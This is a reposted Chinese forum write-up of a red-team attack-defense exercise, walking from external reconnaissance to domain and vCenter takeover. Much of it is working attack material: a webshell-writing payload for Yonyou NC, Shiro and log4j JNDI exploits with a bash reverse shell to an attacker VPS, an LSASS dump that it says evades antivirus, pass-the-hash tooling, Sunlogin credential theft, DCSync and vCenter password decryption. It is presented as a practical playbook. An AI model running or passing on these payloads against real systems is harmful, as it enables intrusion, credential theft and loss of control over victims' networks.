安全矩阵

 找回密码
 立即注册
搜索
查看: 820|回复: 0

2022HW总结---记一次攻防演练实战总结

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-11-26 10:59:26 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-11-26 11:04 编辑

2022HW总结---记一次攻防演练实战总结
hyyrent [url=]Hacking黑白红[/url] 2022-11-24 23:06 发表于安徽
转载自:2022HW总结---记一次攻防演练实战总结

目录
0x01 外网打点  资产发现
  敏感信息泄露
  默认口令
  常见漏洞利用
  用友nc写shell
  shiro无依赖链利用
0x02 内网渗透
  杀软识别
  隧道搭建
  横向思路
  横向移动
    dump lssas
    密码复用
    向日葵读取密码
    运维机
    域控
    Vcenter
    云管平台
    官网
    gitlab仓库

对前阵子的攻防演练比赛进行总结,分享一些个人的思路和方法

0x01 外网打点资产发现

多测绘平台搜索
https://hunter.qianxin.com/
https://fofa.info/
https://quake.360.cn/


多语法搜索
假如某个目标站点为xxxx.com ,我们可以通过不同的语法进行资产搜集,搜集的资产会更全面
这里以fofa为例
  1. domain="xxxx.com"  
  2. host="xxxx.com"  
  3. header="xxxx.com"  
  4. cert="xxxx.com"
复制代码

敏感信息泄露

对于学校站点的信息搜集,一般来说外网能拿直接权限的点已经很少了,web应用大多是放在vpn后面,因此能弄到一个vpn账号可以说是事半功倍,这时候可以通过语法对此类信息进行挖掘
常用命令如下:
  1. #google语法  
  2. site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码  
  3.   
  4. #github  
  5. *.edu.cn password
复制代码


在这次攻防演练里,也是幸运找到了某站点VPN的默认口令,使用的是 姓名拼音/12345678 弱口令

默认口令
对于部分站点,在搭建完成后可能没有更改默认账号密码,这时候可以尝试使用默认账密登录
下面列举一些常见的web站点默认口令
  1. 账号:
  2. admin administrator root user test  
  3.   
  4. 密码:
  5. admin admin123 123456 123 test root
复制代码

对于一些应用广泛的系统,可以通过google语法搜索其默认密码

这里通过sysadmin/1 成功登入泛微后台

nacos/nacos

常见漏洞利用
对于多目标的攻防演练,个人比惯把目标子域url搜集好,去重后批量导进去指纹识别工具,如Goby、fofahub
从指纹识别结果里筛选出重要资产进行突破,使用已知漏洞或day进行攻击
以下为一些批量漏洞利用工具:
https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0
https://github.com/d3ckx1/Fvuln
https://github.com/W01fh4cker/Serein
框架类的如log4j、shiro、struts2等
OA类的如致远、泛微、用友、蓝凌等,这里也是找到了目标的用友nc站点

用友nc写shell

访问接口/servlet/~ic/bsh.servlet.BshServlet执行命令

dnslog探测了一下发现不出网,这里直接写入webshell
1、首先生成一个哥斯拉的jsp木马,然后进行unicode编码

2、再把输出结果进行url编码

3、payload字段如下,这里写入默认路径为 webapps/nc_web ,实战中灵活应变
  1. String keyWord = URLDecoder.decode("xxxxxx(填入生成内容)xxxxxx", "utf-8");   
  2. BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp"));  
  3. out.write(keyWord);  
  4. out.close();
复制代码

这里直接写入哥斯拉马,连接成功

shiro无依赖链利用
通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro
直接使用shiro_attack_2.2工具开冲,发现有默认key但是无利用链

可能有些人看到这里就放弃了,但这可能会错过一个利用点
shiro可以无依赖链利用,感觉有戏尝试一波,相关知识可拜读师傅的文章https://www.le1a.com/posts/a5f4a9e3
这里换用其他工具

通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,
后面探测了一下目录结构,发现是windows,所以这里payload要改变一下
这里可以通过网站快速生成payload
https://x.hacking8.com/java-runtime.html
  1. Linux:
  2. java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"  
  3. 字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值  
  4. nc -lvp 端口

  5. Windows:
  6. java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址  
  7. java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
  8. d2hvYW1p为命令的base64,这里是执行命令whoami
复制代码


0x02 内网渗透杀软识别
拿到一台机器后,一般先看一下安装了什么安全防护产品
tasklist /svc

探测了一下发现安装了360,把之前准备好的bypass360马子扔上去,成功上线

隧道搭建ping了一下发现机器出网,可以上frp搭建反向代理隧道

proxifier配置相应的端口账密便可以进入内网

横向思路
1、优先拿运维机器,一般存放着大量的账号密码信息
2、其次是集权设备,Vcenter、堡垒机、天擎这些,有day上day,没day寻找其他方法
3、有域的情况下,争取拿到域管hash,或者通过已知漏洞拿下域控

横向移动
在扫描之前,可以先通过netspy筛选可达的网段再进行扫描
https://github.com/shmilylty/netspy

接着上fscan对可达各个C段开扫,追求效率可只扫描22、80、443、445、1433、8080等重点端口
由于扫描会引起安全设备告警,因此横向尽可能在一小时内结束,避免入口机器被关机下线,对于拿到的机器可以通过计划任务进行维权,尽可能多拿几台机器
保证口子不会掉,拿到机器后继续做信息搜集,网段,机器信息,敏感文件,xshell、navicat密码等常规的这里就不细说了
dump lssas
正常没有杀软我们可以通过mimikatz抓取密码
但很多时候mimikatz会被拦截,这时候可以通过一些LOLBINS方法dump出来本地解

这里使用的dump64.exe为白程序,位置位于
C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\
dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp
测试可过360和火绒


密码复用
08机器之前可以抓到明文,抓不到明文可以尝试到cmd5上进行破解,破解率较高
https://www.cmd5.com
https://www.somd5.com
获取密码之后可以通过超级弱口令工具进行密码复用爆破,拿着获取的密码重新组合字典,对网段内的机器进行爆破,这次也是成功拿下了几十台机器

若hash解不出来,这时候我们可以根据开放的端口进行PTH,下面列举一些
  1. wmiexec  135端口  
  2. psexec   445端口  
  3. evil-winrm   5985端口
复制代码

向日葵读取密码
拿到机器的账号密码之后,若机器开启了3389端口可以选择rdp远程桌面过去,没开的话可以开启3389端口进行远程连接
  1. #执行以下命令操作注册表来开启机器3389远程桌面服务  
  2. REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f  

  3. #使用以下命令添加防火墙放行策略  
  4. netsh firewall add portopening protocol = TCP port = 3389 name = rdp
复制代码

但如果是正常办公时间,贸然登录过去会很容易引起对方的发现,若进程中有sunlogin进程,可以读取识别码和验证码,通过向日葵连接相对比较隐蔽

注册表读取配置信息:
  1. reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo  
  2. reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo  

  3. 向日葵默认配置文件路径:  
  4. 安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini  
  5. 便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini  
  6. 本机验证码参数:encry\_pwd  
  7. 本机识别码参数:fastcode(去掉开头字母)  
  8. sunlogincode:判断用户是否登录状态
复制代码

读注册表:

读默认配置文件:
fastcode去掉前面的数字k为本机识别码278263893

使用脚本进行解密获得本机验证码

运维机
横向的时候优先拿运维机,一般运维机存储着大量的账号密码信息,比如这次无意中发现的运维机器使用的是弱口令administrator/111111
另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定
拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。
  1. dir /a /s /b d:\" \*.txt"   
  2. dir /a /s /b d:\"\* pass \*"   
  3. dir /a /s /b d:\"\* login \*"   
  4. dir /a /s /b d:\"\* user \*"  
  5. dir /a /s /b c:\\password.txt  
  6. dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config   
  7. dir /a /s /b c:\\conf.\* config.\*   
  8. dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑"  
  9. dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维"  
  10. dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt
复制代码

最后收集了一堆密码本,可登录到各重要系统:
H3C堡垒机

禅道

域控
1、通过fscan扫描的时候可以检索AD关键字发现域控
  1. [*]192.168.10.38 #非真实域控ip  
  2.    [->]D1-Prod-AD-P01  
  3.    [->]192.168.10.38  
  4.      
  5. [*]192.168.10.20 #非真实域控ip  
  6.    [->]AD  
  7.    [->]192.168.10.20
复制代码

2、域内主机 DNS 一般就是域控地址
接着可以通过该机器是否开放53和389端口进行进一步确认
这次攻防演练的其中一个目标,通过密码复用爆破成功的某台机器里,刚好存在着域管进程,提权到system权限后注入到域管进程,通过Dcsync成功获取域管密码的hash值,
其中一个被禁用的账户刚好可以通过cmd5解出,解出明文密码并激活账户,成功登录两台域控机器,除此以外还可以尝试域漏洞、NTLM中继等
  1. net group "domain admins" /domain  
  2. dcsync domain xxxx  
  3. shell net user xxxx  
  4. shell net user xxxx /active:yes /domain
复制代码



Vcenter
在扫描的过程中发现几台Vcenter,Vcenter常规有三种打法,分别是
CVE-2021-22005-rce、CVE-2021-21972-rce和log4j
前两个测试没成功,log4j通过dnslog探测漏洞存在,vcenter的漏洞触发点在xff头部
  1. java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0  
  2. nc -lvp 9000  
  3. ${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000}
复制代码



但一般打完是非交互式shell,没有回显,这里使用命令切换为交互式shell
python -c 'import pty;pty.spawn('/bin/bash')'
重置密码
/usr/lib/vmware-vmdir/bin/vdcadmintool
不重置密码获取密码
https://github.com/shmilylty/vhost_password_decrypt
  1. #获取vc用户的密码  
  2. cat /etc/vmware-vpx/vcdb.properties  
  3.   
  4. #把加密后的密码单独拿出来,  
  5. psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc  
  6. #改成这种格式\*  
  7. H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\*  
  8. zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\*  
  9. Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\*  
  10. R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==  
  11.   
  12. #拿解密key  
  13. cat /etc/vmware-vpx/ssl/symkey.dat  
  14. Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat  
  15. Linux:/etc/vmware-vpx/ssl/symkey.dat  
  16.   
  17. #破解  
  18. python decrypt.py symkey.dat password.enc pass.txt
复制代码

然后就可以登入web控制台了

云管平台
通过运维机的xshell查找历史记录拿下了主备数据库,然后执行sql语句成功获取出了云管平台的hash

到cmd5上进行解密,一块钱拿下云管平台很划算

但某些系统加密方式不是使用md5的,比如之前碰到的一些系统使用的是Bcrypt加密方式,像这种不可逆的加密方式可以通过替换hash进行登录
$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS


官网
当我们拿到集权设备后,一般里面会有靶标系统或核心系统,这些分数是很高的,这次演练某目标就是通过云管平台登录官网机器,抓取浏览器密码成功获取后台密码,成功拿下官网控制权

gitlab仓库
根据评分规则刷完路径分之后,可以根据目标性质找一些核心关键的系统跟裁判battle,像这种存有大量代码的仓库可以作为重大成果进行提交

作者:hyyrenthttps://forum.butian.net/share/1780奇安信攻防社区




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:33 , Processed in 0.013979 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表